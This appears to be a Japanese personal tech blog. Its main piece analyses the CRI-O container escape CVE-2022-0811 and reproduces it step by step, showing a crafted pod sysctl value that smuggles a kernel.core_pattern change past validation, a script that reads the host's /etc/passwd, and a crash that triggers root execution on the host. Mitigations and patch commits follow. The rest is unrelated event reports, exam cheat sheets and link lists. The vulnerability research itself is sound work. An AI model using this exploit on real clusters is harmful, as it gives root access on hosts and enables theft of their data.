コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID              CREATED             STATE               NAME                NAMESPACE           ATTEMPT             RUNTIMEb69761649f8f6       42 seconds ago      Ready               ubuntu-sandbox      default             1                   (default)# crictl psCONTAINER           IMAGE               CREATED             STATE               NAME                ATTEMPT             POD ID2ce8010c047df       ubuntu              19 seconds ago      Running             ubuntu              0                   b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{  "kernel.shm": IpcNamespace,  "kernel.msg": IpcNamespace,  "fs.mqueue.": IpcNamespace,  "net.":       NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error {  nsErrorFmt := "%q not allowed with host %s enabled"  if ns, found := namespaces[s.Key()]; found {    if ns == IpcNamespace && hostIPC {      return errors.Errorf(nsErrorFmt, s.Key(), ns)    }    return nil  }  for p, ns := range prefixNamespaces {    if strings.HasPrefix(s.Key(), p) {      if ns == IpcNamespace && hostIPC {        return errors.Errorf(nsErrorFmt, s.Key(), ns)      }      if ns == NetNamespace && hostNet {        return errors.Errorf(nsErrorFmt, s.Key(), ns)      }      return nil    }  }  return errors.Errorf("%s not whitelisted", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){  if (!sysctl_key || !sysctl_value)  {    pwarn ("sysctl key or value not initialized");    return -1;  }  // replace periods with / to create the sysctl path  for (char* it = sysctl_key; *it; it++)    if (*it == '.')      *it = '/';  _cleanup_close_ int dirfd = open ("/proc/sys", O_DIRECTORY | O_PATH | O_CLOEXEC);  if (UNLIKELY (dirfd < 0))  {    pwarn ("failed to open /proc/sys");    return -1;  }  _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY);  if (UNLIKELY (fd < 0))  {    pwarnf ("failed to open /proc/sys/%s", sysctl_key);    return -1;  }  int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value)));  if (UNLIKELY (ret < 0))  {    pwarnf ("failed to write to /proc/sys/%s", sysctl_key);    return -1;  }  return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern="%e-%s.core"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit                     Soft Limit           Hard Limit           Units     Max cpu time              unlimited            unlimited            seconds   Max file size             unlimited            unlimited            bytes     Max data size             unlimited            unlimited            bytes     Max stack size            8388608              unlimited            bytes     Max core file size        0                    unlimited            bytes     Max resident set          unlimited            unlimited            bytes     Max processes             3819                 3819                 processes Max open files            1024                 1048576              files     Max locked memory         67108864             67108864             bytes     Max address space         unlimited            unlimited            bytes     Max file locks            unlimited            unlimited            locks     Max pending signals       3819                 3819                 signals   Max msgqueue size         819200               819200               bytes     Max nice priority         0                    0                    Max realtime priority     0                    0                    Max realtime timeout      unlimited            unlimited            usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string {  // this assumes there's no sysctl with a `+` in it  const pinnsSysctlDelim = "+"  g := new(bytes.Buffer)  for key, value := range sysctls {    fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)  // ← "'key1=value1'+'key2=value2'" の形で文字列連結する  }  return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version:          1.23.1GitCommit:        af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState:     dirtyBuildDate:        1980-01-01T00:00:00ZGoVersion:        go1.17.4Compiler:         gcPlatform:         linux/amd64Linkmode:         staticBuildTags:        apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled:   trueAppArmorEnabled:  true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo '#!/bin/sh' > /cmdroot@d33614f0b22d:/# echo 'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json {    "metadata": {        "name": "ubuntu-sandbox2",        "namespace": "default",        "attempt": 1,        "uid": "edishd83djaidwnduwk28bcsd"    },    "log_directory": "/tmp",    "linux": {  "sysctls": {      "kernel.shm_rmid_forced": "1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #"  }    }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps    PID TTY          TIME CMD      4 pts/0    00:00:00 bash     17 pts/0    00:00:00 tail     18 pts/0    00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin  boot  cmd  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  output  proc  root  run  sbin  srv  sys  tmp  usr  var[1]+  Segmentation fault      (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。  func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {    ...      if len(cfg.Sysctls) != 0 {-     pinnsArgs = append(pinnsArgs, "-s", getSysctlForPinns(cfg.Sysctls))+     pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+     if err != nil {+       return nil, errors.Wrapf(err, "invalid sysctl")+     }+     pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)    }      ...  }- func getSysctlForPinns(sysctls map[string]string) string {-   // this assumes there's no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+   // This assumes there's no valid sysctl value with a `+` in it+   // and as such errors if one is found.    const pinnsSysctlDelim = "+"    g := new(bytes.Buffer)    for key, value := range sysctls {+     if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+       return "", errors.Errorf("'%s=%s' is invalid: %s found yet should not be present", key, value, pinnsSysctlDelim)+     }      fmt.Fprintf(g, "'%s=%s'%s", key, value, pinnsSysctlDelim)    }-   return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+   return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil  }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。  func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) {    ...  -   if len(cfg.Sysctls) != 0 {-     pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)-     if err != nil {-       return nil, errors.Wrapf(err, "invalid sysctl")-     }-     pinnsArgs = append(pinnsArgs, "-s", pinnsSysctls)+   for key, value := range cfg.Sysctls {+     pinnsArgs = append(pinnsArgs, "-s", fmt.Sprintf("%s=%s", key, value))    }      ...  }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn't completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error {    validSysctlMap := map[string]bool{        "kernel.msgmax":          true,        "kernel.msgmnb":          true,        "kernel.msgmni":          true,        "kernel.sem":             true,        "kernel.shmall":          true,        "kernel.shmmax":          true,        "kernel.shmmni":          true,        "kernel.shm_rmid_forced": true,    }    for s := range config.Sysctl {        if validSysctlMap[s] || strings.HasPrefix(s, "fs.mqueue.") {            if config.Namespaces.Contains(configs.NEWIPC) {                continue            } else {                return fmt.Errorf("sysctl %q is not allowed in the hosts ipc namespace", s)            }        }        if strings.HasPrefix(s, "net.") {            if config.Namespaces.Contains(configs.NEWNET) {                continue            } else {                return fmt.Errorf("sysctl %q is not allowed in the hosts network namespace", s)            }        }        return fmt.Errorf("sysctl %q is not in a separate kernel namespace", s)    }    return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport

CVE-2022-0811 調査まとめ

はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…

VolumePlugin がボリュームを作成・マウントするしくみ

情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法（平成二十六年法律第百四号）情報処理の促進に関する法律（昭和四十五年法律第九十号）情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方（ツール活用編）情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ＜危険回避＞対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA ウェブブラウザのプロテクションプロファイル

情報処理安全確保支援士の関連資料

すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会　Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編！Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD！ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術／Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め！ - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く（遠回しな表現）技術書を書く

2019年のふりかえり、2020年の目標

はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…

0からはじめる Windows on Kubernetes

2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン－オプション、ヒント、テクニック難易度：初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料：https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度：初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料：https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度：中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何？HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携！Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる？これからチャレンジしたいことは？MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは？技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた Vue.js 入門難易度：初級～中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している

【イベント参加レポート】Microsoft Ignite The Tour Tokyo

試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…

LPIC 102 チートシート

試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル  /etc/dpkg/…

LPIC 101チートシート

Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ～開発者目線で Kubernetes の基本を理解する～【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ～Azure Sentinel Deep Dive～注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 管理サービスも提供しているようです。(Rancher みたいなもの？)Azure NetApp Files documentation | Microsoft DocsAzure SentinelAI を使用した高機能なセキュリティサービス。Azure Sentinel | Microsoft Azureその他Azure DevOpsAzure PiplineApp ServiceService FabricWSL2感想Azureに関連したテーマのセッションがほとんどでした。クラウドサービスは以前に比べ使いやすくなっていて、機能も充実してきた印象です。AKS、AzureADの動向は今後も注目していこうと思います。LT資料社内勉強会で de:code の recap を発表しました。    Recap of de code 2019  from Kyohei Mizumoto www.slideshare.netおまけ2日間のお昼のお弁当です。1日目2日目

de:code 2019 参加レポート

Kubernetes関連の役立つリンクを記載します。公式リファレンスReference - KubernetesKubectl Reference DocsPhippy and Friends - Cloud Native Computing FoundationGitHubGitHub - kubernetes/kubernetes: Production-Grade Container Scheduling and ManagementGitHub - kelseyhightower/kubernetes-the-hard-way: Bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts.GitHub - jamiehannaford/what-happens-when-k8s: 🤔 What happens when I type kubectl run?プロダクトGoogle Kubernetes Engine documentation  |  Kubernetes Engine  |  Google CloudAzure Kubernetes Service (AKS) Documentation - Tutorials, API Reference | Microsoft DocsWhat Is Amazon EKS? - Amazon EKSDocumentation | Rancher LabsK3s: Kightweight KubernetesPivotal Container Service (PKS) | Pivotalスライド、ブログ等Kubernetes のソースコードとの付き合い方 #gounco / Kubernetes source code reading - Speaker DeckKubernetes Patterns : Capacity PlanningKubeWeekly - QiitaKubernetesのユーザー管理と認証・権限確認機構を理解しよう | さくらのナレッジ書籍Kubernetes完全ガイド - インプレスブックス

Kubernetesリンク集

Go言語の学習のため、LinuxコマンドをGoで実装します。目的Go言語に慣れる標準パッケージの機能、使い方を知るルール以下のルールでチャレンジを行います。1日1コマンドを実装する最低限、コマンドの基本的な動作(オプションなしの実行など)を行えるようにする余裕があれば追加機能を実装するコマンド名は"my" + "Linuxコマンド名"とする極力標準パッケージを使用するソースコードソースコードはGithubで管理します。https://github.com/kyohmizu/go-cli-toolsスケジュールNo日付コマンド基本実装オプション学習内容15/23myls〇 ディレクトリ操作エラー処理 25/24mycp〇△ファイル操作35/25mymv〇△ 45/26myrm〇△ 55/27mycat〇△ 65/28mycurl〇△http接続の実装オプションの複数回指定75/29mypwd〇△ OSによる条件分岐85/30mytouch〇△build tagの設定 95/31mymkdir〇△ ファイルの操作権限106/1mykill〇〇プロセスとシグナル 116/2myecho〇-引数の取得126/3mytime△-コマンド実行timeの操作136/4mychmod△-bit演算ファイルの権限146/5myyes〇〇 156/6myenv〇△windowsで確認不可166/7mychown〇△